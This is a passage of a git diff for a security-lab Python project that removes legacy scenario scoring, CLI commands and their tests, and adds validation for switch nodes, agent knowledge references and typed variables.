Objective, max_hint_level: int) -> int: - """Compute total hint penalty for an objective. - - Sums point_penalty for all hints at or below the used level. - """ - penalty = 0 - for hint in objective.hints: - if hint.level <= max_hint_level: - penalty += hint.point_penalty - return penalty - - -def _time_bonus( - max_bonus: int, - decay_after_minutes: int, - estimated_minutes: int, - elapsed_seconds: float, -) -> int: - """Compute time bonus with linear decay. - - Full bonus is awarded if the scenario is completed before - ``decay_after_minutes``. After that, bonus decays linearly - to zero at ``estimated_minutes``. - """ - if max_bonus <= 0: - return 0 - - elapsed_minutes = elapsed_seconds / 60.0 - - if elapsed_minutes <= decay_after_minutes: - return max_bonus - - decay_window = estimated_minutes - decay_after_minutes - if decay_window <= 0: - return 0 - - elapsed_in_decay = elapsed_minutes - decay_after_minutes - if elapsed_in_decay >= decay_window: - return 0 - - fraction_remaining = 1.0 - (elapsed_in_decay / decay_window) - return int(max_bonus * fraction_remaining) - - -def compute_score( - scenario: ScenarioDefinition, - completed_objectives: list[str], - hints_used: dict[str, int], - elapsed_seconds: float, -) -> ScoreReport: - """Compute the current score for a scenario run. - - Args: - scenario: The scenario definition with objectives and scoring config. - completed_objectives: List of objective IDs that have been completed. - hints_used: Map of objective_id to highest hint level revealed. - elapsed_seconds: Time elapsed since scenario start. - - Returns: - Complete score report with per-objective breakdown. - """ - all_objectives = scenario.objectives.all_objectives() - completed_set = set(completed_objectives) - scoring = scenario.scoring - - objective_scores: list[ObjectiveScore] = [] - total_hint_penalties = 0 - - for obj in all_objectives: - is_completed = obj.id in completed_set - penalty = _hint_penalty(obj, hints_used.get(obj.id, 0)) - total_hint_penalties += penalty - - if is_completed: - earned = max(0, obj.points - penalty) - else: - earned = 0 - - objective_scores.append( - ObjectiveScore( - objective_id=obj.id, - base_points=obj.points, - hint_penalty=penalty, - earned=earned, - completed=is_completed, - ) - ) - - base_total = sum(obj_score.earned for obj_score in objective_scores) - - bonus = 0 - if scoring.time_bonus.enabled: - bonus = _time_bonus( - max_bonus=scoring.time_bonus.max_bonus, - decay_after_minutes=scoring.time_bonus.decay_after_minutes, - estimated_minutes=scenario.metadata.estimated_minutes, - elapsed_seconds=elapsed_seconds, - ) - - total = base_total + bonus - - return ScoreReport( - total_score=total, - max_score=scoring.max_score, - passing_score=scoring.passing_score, - passed=total >= scoring.passing_score, - time_bonus=bonus, - hint_penalties=total_hint_penalties, - objective_scores=objective_scores, - ) diff --git a/src/aptl/core/sdl/nodes.py b/src/aptl/core/sdl/nodes.py index adbb28610..181c1295c 100644 --- a/src/aptl/core/sdl/nodes.py +++ b/src/aptl/core/sdl/nodes.py @@ -182,10 +182,34 @@ def normalize_os(cls, v): @model_validator(mode="after") def validate_type_constraints(self) -> "Node": - """Switch nodes cannot have source, resources, features, etc.""" + """Switch nodes cannot carry VM-only fields.""" if self.type == NodeType.SWITCH: + disallowed_fields: list[str] = [] if self.source is not None: - raise ValueError("Switch nodes cannot have a source") + disallowed_fields.append("source") if self.resources is not None: - raise ValueError("Switch nodes cannot have resources") + disallowed_fields.append("resources") + if self.os is not None: + disallowed_fields.append("os") + if self.os_version: + disallowed_fields.append("os_version") + if self.features: + disallowed_fields.append("features") + if self.conditions: + disallowed_fields.append("conditions") + if self.injects: + disallowed_fields.append("injects") + if self.vulnerabilities: + disallowed_fields.append("vulnerabilities") + if self.roles: + disallowed_fields.append("roles") + if self.services: + disallowed_fields.append("services") + if self.asset_value is not None: + disallowed_fields.append("asset_value") + if disallowed_fields: + raise ValueError( + "Switch nodes cannot have VM-only fields: " + + ", ".join(disallowed_fields) + ) return self diff --git a/src/aptl/core/sdl/parser.py b/src/aptl/core/sdl/parser.py index d58785114..d8262e23a 100644 --- a/src/aptl/core/sdl/parser.py +++ b/src/aptl/core/sdl/parser.py @@ -4,7 +4,6 @@ - Case-insensitive key normalization (``Name`` → ``name``) - Hyphen-to-underscore conversion (``min-score`` → ``min_score``) - Shorthand expansion (``source: "pkg"`` → ``{name: "pkg", version: "*"}``) -- Auto-detection of APTL legacy format vs OCR SDL format """ from pathlib import Path @@ -175,9 +174,9 @@ def parse_sdl( ) -> Scenario: """Parse an SDL YAML string into a validated Scenario. - Handles both OCR SDL format (``name`` at top level) and APTL - legacy format (``metadata`` block). Runs structural validation - (Pydantic) and semantic validation (cross-references, cycles, etc.). + Handles SDL documents with ``name`` at the top level. Runs + structural validation (Pydantic) and semantic validation + (cross-references, cycles, etc.). Args: content: Raw YAML string. diff --git a/src/aptl/core/sdl/validator.py b/src/aptl/core/sdl/validator.py index aa2b4e61d..12dca3cbb 100644 --- a/src/aptl/core/sdl/validator.py +++ b/src/aptl/core/sdl/validator.py @@ -225,6 +225,12 @@ def _verify_relationships(self) -> None: def _verify_agents(self) -> None: flat_entity_names = set(flatten_entities(self._s.entities).keys()) flat_entity_names.update(self._s.entities.keys()) + service_names = { + service.name + for node in self._s.nodes.values() + for service in node.services + if service.name + } for name, agent in self._s.agents.items(): if agent.entity and agent.entity not in flat_entity_names: @@ -256,6 +262,18 @@ def _verify_agents(self) -> None: f"Agent '{name}' initial_knowledge subnet '{subnet}' " f"not in infrastructure section" ) + for service_name in agent.initial_knowledge.services: + if service_name not in service_names: + self._err( + f"Agent '{name}' initial_knowledge service " + f"'{service_name}' not in node service names" + ) + for acct_name in agent.initial_knowledge.accounts: + if acct_name not in self._s.accounts: + self._err( + f"Agent '{name}' initial_knowledge account " + f"'{acct_name}' not in accounts section" + ) def _verify_variables(self) -> None: # Variable definitions are structurally validated by Pydantic. diff --git a/src/aptl/core/sdl/variables.py b/src/aptl/core/sdl/variables.py index a781f8e3e..876ac19f9 100644 --- a/src/aptl/core/sdl/variables.py +++ b/src/aptl/core/sdl/variables.py @@ -12,7 +12,7 @@ from enum import Enum from typing import Union -from pydantic import Field, field_validator +from pydantic import Field, field_validator, model_validator from aptl.core.sdl._base import SDLModel, normalize_enum_value @@ -26,6 +26,19 @@ class VariableType(str, Enum): NUMBER = "number" +def _matches_variable_type(value: object, variable_type: VariableType) -> bool: + """Return whether a concrete value matches the declared variable type.""" + if variable_type == VariableType.STRING: + return isinstance(value, str) + if variable_type == VariableType.INTEGER: + return isinstance(value, int) and not isinstance(value, bool) + if variable_type == VariableType.BOOLEAN: + return isinstance(value, bool) + if variable_type == VariableType.NUMBER: + return isinstance(value, (int, float)) and not isinstance(value, bool) + return False + + class Variable(SDLModel): """A named variable for scenario parameterization. @@ -44,3 +57,31 @@ class Variable(SDLModel): @classmethod def normalize_type(cls, v: str) -> str: return normalize_enum_value(v) + + @model_validator(mode="after") + def validate_typed_values(self) -> "Variable": + """Defaults and allowed values must match the declared type.""" + if ( + self.default is not None + and not _matches_variable_type(self.default, self.type) + ): + raise ValueError( + f"default must match variable type '{self.type.value}'" + ) + + for value in self.allowed_values: + if not _matches_variable_type(value, self.type): + raise ValueError( + f"allowed_values must match variable type '{self.type.value}'" + ) + + if ( + self.allowed_values + and self.default is not None + and self.default not in self.allowed_values + ): + raise ValueError( + "default must be one of allowed_values when allowed_values is set" + ) + + return self diff --git a/src/aptl/core/session.py b/src/aptl/core/session.py index 384d59ec9..c8a3097a3 100644 --- a/src/aptl/core/session.py +++ b/src/aptl/core/session.py @@ -1,9 +1,9 @@ """Scenario session state management. -Tracks the active scenario session across CLI invocations via a JSON -file in the .aptl/ state directory. Enforces valid state transitions -and provides methods to record hints, objective completions, and -session lifecycle events. +Tracks the active scenario session across commands via a JSON file in +the .aptl/ state directory. Enforces valid state transitions and +provides methods to record hints, objective completions, and session +lifecycle events. """ import fcntl @@ -15,7 +15,7 @@ from pathlib import Path from typing import Optional -from aptl.core.scenarios import ScenarioDefinition, ScenarioStateError +from aptl.core.scenarios import ScenarioStateError from aptl.utils.logging import get_logger log = get_logger("session") @@ -101,10 +101,10 @@ def _deserialize_session(data: dict) -> ActiveSession: class ScenarioSession: - """Manages active scenario state across CLI invocations. + """Manages active scenario state across commands. State is persisted to a JSON file in the .aptl/ directory so that - separate CLI commands (start, status, evaluate, stop) share context. + separate commands and background tasks can share context. """ def __init__(self, state_dir: Path) -> None: @@ -179,7 +179,7 @@ def get_active(self) -> Optional[ActiveSession]: def start( self, - scenario: ScenarioDefinition, + scenario_id: str, ) -> ActiveSession: """Start a new scenario session. @@ -187,7 +187,7 @@ def start( Generates a trace_id for OpenTelemetry distributed tracing. Args: - scenario: The scenario being started. + scenario_id: ID of the scenario being started. Returns: The newly created ActiveSession. @@ -198,9 +198,9 @@ def start( if self.is_active(): existing = self.get_active() raise ScenarioStateError( - f"Cannot start scenario '{scenario.metadata.id}': " + f"Cannot start scenario '{scenario_id}': " f"scenario '{existing.scenario_id}' is already active. " - "Stop it first with 'aptl scenario stop'." + "Clear or finish the active session first." ) from aptl.core.telemetry import generate_trace_context @@ -208,7 +208,7 @@ def start( ctx = generate_trace_context() session = ActiveSession( - scenario_id=scenario.metadata.id, + scenario_id=scenario_id, state=SessionState.ACTIVE, started_at=datetime.now(timezone.utc).isoformat(), trace_id=ctx["trace_id"], @@ -216,7 +216,7 @@ def start( ) self._write(session) - log.info("Started session for scenario '%s'", scenario.metadata.id) + log.info("Started session for scenario '%s'", scenario_id) return session def record_hint(self, objective_id: str, hint_level: int) -> None: @@ -339,9 +339,7 @@ def _require_active(self) -> ActiveSession: """ session = self.get_active() if session is None: - raise ScenarioStateError( - "No active scenario. Start one with 'aptl scenario start'." - ) + raise ScenarioStateError("No active scenario session.") if session.state not in (SessionState.ACTIVE, SessionState.EVALUATING): raise ScenarioStateError( f"Scenario '{session.scenario_id}' is in state " diff --git a/tests/test_api_scenarios.py b/tests/test_api_scenarios.py index bcff76aeb..71e0b56e5 100644 --- a/tests/test_api_scenarios.py +++ b/tests/test_api_scenarios.py @@ -1,172 +1,27 @@ -"""Tests for scenario API endpoints.""" - -from pathlib import Path -from unittest.mock import patch +"""Tests for removed scenario API endpoints.""" import pytest -import yaml pytest.importorskip("fastapi", reason="Web dependencies not installed") @pytest.fixture -def api_client(tmp_path): - """Create a FastAPI test client with DI override for project_dir.""" - from aptl.api.deps import get_project_dir +def api_client(): + """Create a FastAPI test client.""" from aptl.api.main import app from starlette.testclient import TestClient - app.dependency_overrides[get_project_dir] = lambda: tmp_path - client = TestClient(app) - yield client - app.dependency_overrides.clear() - - -@pytest.fixture -def scenarios_dir(tmp_path): - """Create a temp scenarios directory with test scenarios.""" - sdir = tmp_path / "scenarios" - sdir.mkdir() - - scenario1 = { - "metadata": { - "id": "recon-nmap", - "name": "Nmap Recon", - "description": "Network reconnaissance with nmap", - "difficulty": "beginner", - "estimated_minutes": 15, - "tags": ["recon", "nmap"], - }, - "mode": "red", - "containers": {"required": ["kali", "victim"]}, - "objectives": { - "red": [ - { - "id": "scan-target", - "description": "Scan the target", - "type": "manual", - "points": 100, - } - ], - "blue": [], - }, - } - (sdir / "recon-nmap.yaml").write_text(yaml.dump(scenario1)) - - scenario2 = { - "metadata": { - "id": "brute-force", - "name": "Brute Force", - "description": "SSH brute force detection", - "difficulty": "intermediate", - "estimated_minutes": 30, - "tags": ["ssh", "detection"], - }, - "mode": "blue", - "containers": {"required": ["kali", "victim", "wazuh"]}, - "objectives": { - "red": [], - "blue": [ - { - "id": "detect-brute", - "description": "Detect brute force", - "type": "manual", - "points": 200, - } - ], - }, - } - (sdir / "brute-force.yaml").write_text(yaml.dump(scenario2)) - - return sdir + with TestClient(app) as client: + yield client -class TestListScenarios: - def test_returns_all_scenarios(self, api_client, scenarios_dir): - response = api_client.get("/api/scenarios") - - assert response.status_code == 200 - data = response.json() - assert len(data) == 2 - ids = {s["id"] for s in data} - assert "recon-nmap" in ids - assert "brute-force" in ids +class TestRemovedScenarioRoutes: + """The legacy scenario API should not remain mounted.""" - def test_returns_scenario_details(self, api_client, scenarios_dir): + def test_list_endpoint_is_absent(self, api_client): response = api_client.get("/api/scenarios") - - data = response.json() - nmap = next(s for s in data if s["id"] == "recon-nmap") - assert nmap["name"] == "Nmap Recon" - assert nmap["difficulty"] == "beginner" - assert nmap["mode"] == "red" - assert nmap["estimated_minutes"] == 15 - assert "kali" in nmap["containers_required"] - - def test_returns_empty_list_when_no_scenarios(self, api_client): - response = api_client.get("/api/scenarios") - - assert response.status_code == 200 - assert response.json() == [] - - -class TestGetScenario: - def test_returns_full_scenario(self, api_client, scenarios_dir): - response = api_client.get("/api/scenarios/recon-nmap") - - assert response.status_code == 200 - data = response.json() - assert data["metadata"]["id"] == "recon-nmap" - assert data["mode"] == "red" - - def test_returns_404_for_unknown(self, api_client, scenarios_dir): - response = api_client.get("/api/scenarios/nonexistent") - assert response.status_code == 404 - -class TestInvalidScenarios: - """Verify that invalid scenario files are skipped gracefully.""" - - @pytest.fixture - def scenarios_dir_with_invalid(self, tmp_path): - """Scenarios dir with one valid and one invalid scenario.""" - sdir = tmp_path / "scenarios" - sdir.mkdir() - - valid = { - "metadata": { - "id": "valid-scenario", - "name": "Valid", - "description": "A valid scenario", - "difficulty": "beginner", - "estimated_minutes": 10, - "tags": [], - }, - "mode": "red", - "containers": {"required": ["kali"]}, - "objectives": { - "red": [{"id": "scan-target", "description": "Scan", "type": "manual", "points": 100}], - "blue": [], - }, - } - (sdir / "valid.yaml").write_text(yaml.dump(valid)) - - # Invalid: missing required fields - (sdir / "broken.yaml").write_text("metadata:\n id: broken\n") - - return sdir - - def test_list_skips_invalid_scenarios(self, api_client, scenarios_dir_with_invalid): - response = api_client.get("/api/scenarios") - - assert response.status_code == 200 - data = response.json() - ids = [s["id"] for s in data] - assert "valid-scenario" in ids - assert "broken" not in ids - - def test_get_returns_404_for_invalid_scenario(self, api_client, scenarios_dir_with_invalid): - response = api_client.get("/api/scenarios/broken") - + def test_detail_endpoint_is_absent(self, api_client): + response = api_client.get("/api/scenarios/example") assert response.status_code == 404 diff --git a/tests/test_cli.py b/tests/test_cli.py index a6acb961d..ce10b6f3e 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -36,6 +36,15 @@ def test_help_shows_subcommands(self, runner): assert result.exit_code == 0 assert "lab" in result.stdout assert "config" in result.stdout + assert "scenario" not in result.stdout + + def test_removed_scenario_subcommand_is_not_available(self, runner): + """The legacy scenario command group should not be exposed.""" + from aptl.cli.main import app + + result = runner.invoke(app, ["scenario", "--help"]) + assert result.exit_code != 0 + assert "No such command" in result.output class TestLabCommands: diff --git a/tests/test_cli_evaluate.py b/tests/test_cli_evaluate.py deleted file mode 100644 index a525b609e..000000000 --- a/tests/test_cli_evaluate.py +++ /dev/null @@ -1,471 +0,0 @@ -"""Tests for CLI evaluate, run, status scoring, and _print_score_summary.""" - -import asyncio -from pathlib import Path -from unittest.mock import MagicMock, patch - -import pytest -import yaml -from typer.testing import CliRunner - -from aptl.cli.scenario import app -from aptl.core.engine import EngineResult -from aptl.core.evaluators import EvaluationResult -from aptl.core.scoring import ObjectiveScore, ScoreReport - - -runner = CliRunner() - - -# --------------------------------------------------------------------------- -# Fixtures -# --------------------------------------------------------------------------- - - -def _make_scenario_yaml( - scenario_id: str = "eval-test", - mode: str = "red", - objectives_red: list | None = None, - scoring: dict | None = None, - estimated_minutes: int = 10, -) -> dict: - """Build a scenario dict for YAML serialization.""" - if objectives_red is None: - objectives_red = [ - { - "id": "cmd-check", - "description": "Check command output", - "type": "command_output", - "points": 100, - "command_output": { - "container": "kali", - "command": "echo FLAG", - "contains": ["FLAG"], - }, - }, - ] - return { - "metadata": { - "id": scenario_id, - "name": "Evaluate Test", - "description": "Test scenario for evaluate command", - "difficulty": "beginner", - "estimated_minutes": estimated_minutes, - }, - "mode": mode, - "containers": {"required": ["kali"]}, - "objectives": { - "red": objectives_red, - "blue": [], - }, - "scoring": scoring or {"passing_score": 50, "max_score": 100}, - } - - -@pytest.fixture -def scenario_dir(tmp_path: Path) -> Path: - """Create a scenario file with evaluable objectives.""" - scenarios = tmp_path / "scenarios" - scenarios.mkdir() - path = scenarios / "eval-test.yaml" - path.write_text(yaml.dump(_make_scenario_yaml(), default_flow_style=False)) - return tmp_path - - -@pytest.fixture -def manual_only_scenario_dir(tmp_path: Path) -> Path: - """Create a scenario file with only manual objectives (no auto-evaluable).""" - scenarios = tmp_path / "scenarios" - scenarios.mkdir() - scenario = _make_scenario_yaml( - objectives_red=[ - { - "id": "manual-obj", - "description": "Do something manually", - "type": "manual", - "points": 100, - }, - ], - ) - path = scenarios / "eval-test.yaml" - path.write_text(yaml.dump(scenario, default_flow_style=False)) - return tmp_path - - -@pytest.fixture -def active_scenario(scenario_dir: Path): - """Start a session for the test scenario.""" - from aptl.core.scenarios import load_scenario - from aptl.core.session import ScenarioSession - - scenario = load_scenario(scenario_dir / "scenarios" / "eval-test.yaml") - session_mgr = ScenarioSession(scenario_dir / ".aptl") - session = session_mgr.start(scenario) - return scenario_dir, session_mgr, session - - -# --------------------------------------------------------------------------- -# _print_score_summary coverage -# --------------------------------------------------------------------------- - - -def test_status_shows_time_bonus_and_penalties(scenario_dir: Path, mocker): - """Status displays time bonus and hint penalty lines when present.""" - from aptl.core.scenarios import load_scenario - from aptl.core.session import ScenarioSession - - scenario = load_scenario(scenario_dir / "scenarios" / "eval-test.yaml") - session_mgr = ScenarioSession(scenario_dir / ".aptl") - session = session_mgr.start(scenario) - - mocker.patch( - "aptl.cli.scenario.compute_score", - return_value=ScoreReport( - total_score=120, - max_score=150, - passing_score=100, - passed=True, - time_bonus=30, - hint_penalties=10, - objective_scores=[ - ObjectiveScore( - objective_id="cmd-check", - base_points=100, - hint_penalty=10, - earned=90, - completed=True, - ) - ], - ), - ) - - result = runner.invoke( - app, - ["status", "--project-dir", str(scenario_dir)], - ) - assert result.exit_code == 0 - assert "+30" in result.output # time bonus line - assert "-10" in result.output # penalties line - assert "PASS" in result.output - - -def test_status_scoring_error_is_silent(tmp_path: Path): - """Status still works when scenario file can't be loaded for scoring.""" - from aptl.core.session import ScenarioSession - - # Create a session pointing to a scenario that doesn't have a YAML file - session_mgr = ScenarioSession(tmp_path / ".aptl") - from aptl.core.session import ActiveSession, SessionState - - session = ActiveSession( - scenario_id="missing-scenario", - state=SessionState.ACTIVE, - started_at="2026-03-26T10:00:00+00:00", - ) - session_mgr._write(session) - - result = runner.invoke( - app, - ["status", "--project-dir", str(tmp_path)], - ) - # Should show basic status without crashing, even without scoring - assert result.exit_code == 0 or result.exit_code == 1 - assert "missing-scenario" in result.output - - -# --------------------------------------------------------------------------- -# Evaluate command -# --------------------------------------------------------------------------- - - -def test_evaluate_command_runs(active_scenario, mocker): - """aptl scenario evaluate runs a single pass and shows results.""" - project_dir, session_mgr, session = active_scenario - - async def mock_evaluate_once(self): - return [ - EvaluationResult( - objective_id="cmd-check", - passed=True, - detail="All checks passed", - checked_at="2026-03-26T10:01:00+00:00", - ) - ] - - mocker.patch( - "aptl.core.engine.ScenarioEngine.evaluate_once", - mock_evaluate_once, - ) - mocker.patch("aptl.core.engine.ScenarioEngine.get_score", return_value=ScoreReport( - total_score=100, - max_score=100, - passing_score=50, - passed=True, - time_bonus=0, - hint_penalties=0, - objective_scores=[ - ObjectiveScore( - objective_id="cmd-check", - base_points=100, - hint_penalty=0, - earned=100, - completed=True, - ) - ], - )) - - result = runner.invoke( - app, - ["evaluate", "--project-dir", str(project_dir)], - ) - assert result.exit_code == 0 - assert "PASS" in result.output - assert "cmd-check" in result.output - - -def test_evaluate_no_pending_objectives(active_scenario, mocker): - """Evaluate reports 'no pending' when all evaluable objectives are done.""" - project_dir, session_mgr, session = active_scenario - session_mgr.record_objective_complete("cmd-check") - - async def mock_evaluate_once(self): - return [] - - mocker.patch( - "aptl.core.engine.ScenarioEngine.evaluate_once", - mock_evaluate_once, - ) - - result = runner.invoke( - app, - ["evaluate", "--project-dir", str(project_dir)], - ) - assert result.exit_code == 0 - assert "No evaluable objectives pending" in result.output - - -def test_evaluate_no_active_session(tmp_path: Path): - """aptl scenario evaluate exits when no session is active.""" - result = runner.invoke( - app, - ["evaluate", "--project-dir", str(tmp_path)], - ) - assert result.exit_code == 1 - - -# --------------------------------------------------------------------------- -# Run command -# --------------------------------------------------------------------------- - - -def test_run_command_full_lifecycle(scenario_dir: Path, mocker): - """aptl scenario run starts, evaluates, reports, and stops.""" - mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) - mocker.patch("aptl.cli.scenario.init_tracing") - mocker.patch("aptl.cli.scenario.shutdown_tracing") - mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.write_trace_context") - mocker.patch("aptl.cli.scenario.create_root_span") - mocker.patch("aptl.cli.scenario._load_env") - mocker.patch("aptl.cli.scenario.assemble_run", return_value=None) - - # Mock the engine to complete immediately - mock_result = EngineResult( - completed_objectives=["cmd-check"], - score=ScoreReport( - total_score=100, - max_score=100, - passing_score=50, - passed=True, - time_bonus=0, - hint_penalties=0, - objective_scores=[ - ObjectiveScore( - objective_id="cmd-check", - base_points=100, - hint_penalty=0, - earned=100, - completed=True, - ) - ], - ), - elapsed_seconds=15.0, - timed_out=False, - evaluation_cycles=2, - ) - - async def mock_engine_run(self, shutdown_event): - return mock_result - - mocker.patch( - "aptl.core.engine.ScenarioEngine.run", - mock_engine_run, - ) - - result = runner.invoke( - app, - ["run", "--project-dir", str(scenario_dir), "eval-test", - "--poll-interval", "0.1", "--timeout", "1"], - ) - assert result.exit_code == 0 - assert "Started scenario" in result.output - assert "Evaluable:" in result.output - assert "Evaluation engine started" in result.output - assert "evaluation complete" in result.output - assert "Cycles:" in result.output - assert "PASS" in result.output - - -def test_run_command_timeout_report(scenario_dir: Path, mocker): - """aptl scenario run reports timeout when engine times out.""" - mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) - mocker.patch("aptl.cli.scenario.init_tracing") - mocker.patch("aptl.cli.scenario.shutdown_tracing") - mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.write_trace_context") - mocker.patch("aptl.cli.scenario.create_root_span") - mocker.patch("aptl.cli.scenario._load_env") - mocker.patch("aptl.cli.scenario.assemble_run", return_value=None) - - mock_result = EngineResult( - completed_objectives=[], - score=ScoreReport( - total_score=0, - max_score=100, - passing_score=50, - passed=False, - time_bonus=0, - hint_penalties=0, - objective_scores=[], - ), - elapsed_seconds=600.0, - timed_out=True, - evaluation_cycles=5, - ) - - async def mock_engine_run(self, shutdown_event): - return mock_result - - mocker.patch("aptl.core.engine.ScenarioEngine.run", mock_engine_run) - - result = runner.invoke( - app, - ["run", "--project-dir", str(scenario_dir), "eval-test", "--timeout", "1"], - ) - assert result.exit_code == 0 - assert "timeout reached" in result.output - - -def test_run_command_manual_only_exits_early(manual_only_scenario_dir: Path, mocker): - """aptl scenario run exits early when no auto-evaluable objectives exist.""" - mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) - mocker.patch("aptl.cli.scenario.init_tracing") - mocker.patch("aptl.cli.scenario.shutdown_tracing") - mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.write_trace_context") - - result = runner.invoke( - app, - ["run", "--project-dir", str(manual_only_scenario_dir), "eval-test"], - ) - assert result.exit_code == 0 - assert "No auto-evaluable objectives" in result.output - - -def test_run_command_missing_scenario(tmp_path: Path): - """aptl scenario run fails when scenario doesn't exist.""" - scenarios = tmp_path / "scenarios" - scenarios.mkdir() - - result = runner.invoke( - app, - ["run", "--project-dir", str(tmp_path), "nonexistent"], - ) - assert result.exit_code == 1 - - -def test_run_command_double_start_fails(active_scenario, mocker): - """aptl scenario run fails if a session is already active.""" - project_dir, _, _ = active_scenario - - result = runner.invoke( - app, - ["run", "--project-dir", str(project_dir), "eval-test"], - ) - assert result.exit_code == 1 - assert "already active" in result.output - - -def test_run_progress_callback_output(scenario_dir: Path, mocker): - """Run command progress callback prints newly-passed objectives and cycle summary.""" - mocker.patch("aptl.cli.scenario.collect_flags", return_value={}) - mocker.patch("aptl.cli.scenario.init_tracing") - mocker.patch("aptl.cli.scenario.shutdown_tracing") - mocker.patch("aptl.cli.scenario.get_tracer", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.make_parent_context", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.create_child_span", return_value=MagicMock()) - mocker.patch("aptl.cli.scenario.write_trace_context") - mocker.patch("aptl.cli.scenario.create_root_span") - mocker.patch("aptl.cli.scenario._load_env") - mocker.patch("aptl.cli.scenario.assemble_run", return_value=None) - - # Engine that captures and invokes the progress callback - async def mock_engine_run(self, shutdown_event): - if self._on_progress: - self._on_progress( - 1, - [EvaluationResult("cmd-check", True, "Pass", "2026-03-26T10:01:00+00:00")], - ScoreReport( - total_score=100, max_score=100, passing_score=50, - passed=True, time_bonus=0, hint_penalties=0, - objective_scores=[ - ObjectiveScore("cmd-check", 100, 0, 100, True), - ], - ), - ) - return EngineResult( - completed_objectives=["cmd-check"], - score=ScoreReport( - total_score=100, max_score=100, passing_score=50, - passed=True, time_bonus=0, hint_penalties=0, - objective_scores=[ObjectiveScore("cmd-check", 100, 0, 100, True)], - ), - elapsed_seconds=10.0, - timed_out=False, - evaluation_cycles=1, - ) - - mocker.patch("aptl.core.engine.ScenarioEngine.run", mock_engine_run) - - result = runner.invoke( - app, - ["run", "--project-dir", str(scenario_dir), "eval-test", - "--poll-interval", "0.1", "--timeout", "1"], - ) - assert result.exit_code == 0 - assert "[PASS] cmd-check" in result.output - assert "Cycle 1:" in result.output - - -# --------------------------------------------------------------------------- -# Status command with scoring -# --------------------------------------------------------------------------- - - -def test_status_shows_score(active_scenario, mocker): - """aptl scenario status shows score information.""" - project_dir, session_mgr, session = active_scenario - - result = runner.invoke( - app, - ["status", "--project-dir", str(project_dir)], - ) - assert result.exit_code == 0 - assert "eval-test" in result.output - assert "active" in result.output.lower() diff --git a/tests/test_cli_scenario.py b/tests/test_cli_scenario.py deleted file mode 100644 index 2b97aa41b..000000000 --- a/tests/test_cli_scenario.py +++ /dev/null @@ -1,701 +0,0 @@ -"""Tests for CLI scenario commands. - -Tests exercise the typer CLI commands using CliRunner, with mocked -core modules to avoid requiring a running lab environment. -""" - -import json -import os -import shutil -from datetime import datetime, timezone -from pathlib import Path -from unittest.mock import MagicMock, patch - -import pytest -import yaml -from typer.testing import CliRunner - -from aptl.cli.scenario import app -from tests.helpers import LIVE_LAB - -runner = CliRunner() - - -# --------------------------------------------------------------------------- -# Helpers -# --------------------------------------------------------------------------- - - -def _write_scenario(tmp_path: Path, scenario_id: str = "test-scenario") -> Path: - """Write a valid scenario YAML file and return the parent dir.""" - scenarios_dir = tmp_path / "scenarios" - scenarios_dir.mkdir(parents=True, exist_ok=True) - data = { - "metadata": { - "id": scenario_id, - "name": "Test Scenario", - "description": "A test scenario for CLI tests", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - "mode": "red", - "containers": {"required": ["kali"]}, - "objectives": { - "red": [ - { - "id": "obj-a", - "description": "Do something", - "type": "manual", - "points": 50, - "hints": [ - {"level": 1, "text": "First hint", "point_penalty": 5}, - {"level": 2, "text": "Second hint", "point_penalty": 10}, - ], - }, - { - "id": "obj-b", - "description": "Do another thing", - "type": "manual", - "points": 50, - }, - ], - "blue": [], - }, - "scoring": { - "passing_score": 50, - "max_score": 100, - "time_bonus": { - "enabled": False, - "max_bonus": 0, - "decay_after_minutes": 10, - }, - }, - } - path = scenarios_dir / f"{scenario_id}.yaml" - path.write_text(yaml.dump(data, default_flow_style=False)) - return tmp_path - - - -def _write_config(project_dir: Path, containers: dict | None = None) -> Path: - """Write an aptl.json config file and return the path.""" - config = {"lab": {"name": "aptl"}} - if containers is not None: - config["containers"] = containers - config_path = project_dir / "aptl.json" - config_path.write_text(json.dumps(config)) - return config_path - - -def _write_scenario_with_containers( - tmp_path: Path, - scenario_id: str = "test-scenario", - required: list[str] | None = None, -) -> Path: - """Write a scenario YAML with specific required containers.""" - scenarios_dir = tmp_path / "scenarios" - scenarios_dir.mkdir(parents=True, exist_ok=True) - data = { - "metadata": { - "id": scenario_id, - "name": "Test Scenario", - "description": "A test scenario for CLI tests", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - "mode": "red", - "containers": {"required": required or ["kali"]}, - "objectives": { - "red": [ - { - "id": "obj-a", - "description": "Do something", - "type": "manual", - "points": 50, - }, - ], - "blue": [], - }, - "scoring": { - "passing_score": 50, - "max_score": 50, - "time_bonus": { - "enabled": False, - "max_bonus": 0, - "decay_after_minutes": 10, - }, - }, - } - path = scenarios_dir / f"{scenario_id}.yaml" - path.write_text(yaml.dump(data, default_flow_style=False)) - return tmp_path - - -def _start_session(project_dir: Path, scenario_id: str = "test-scenario") -> None: - """Start a scenario session via the CLI.""" - result = runner.invoke(app, [ - "start", scenario_id, - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0, f"start failed: {result.output}" - - -# --------------------------------------------------------------------------- -# list command -# --------------------------------------------------------------------------- - - -class TestListCommand: - """Tests for 'aptl scenario list'.""" - - def test_no_scenarios(self, tmp_path): - result = runner.invoke(app, [ - "list", - "--project-dir", str(tmp_path), - ]) - assert result.exit_code == 0 - assert "No scenarios" in result.output - - def test_lists_scenario(self, tmp_path): - project_dir = _write_scenario(tmp_path) - result = runner.invoke(app, [ - "list", - "--project-dir", str(project_dir), - ]) - assert result.exit_code == 0 - assert "test-scenario" in result.output - - def 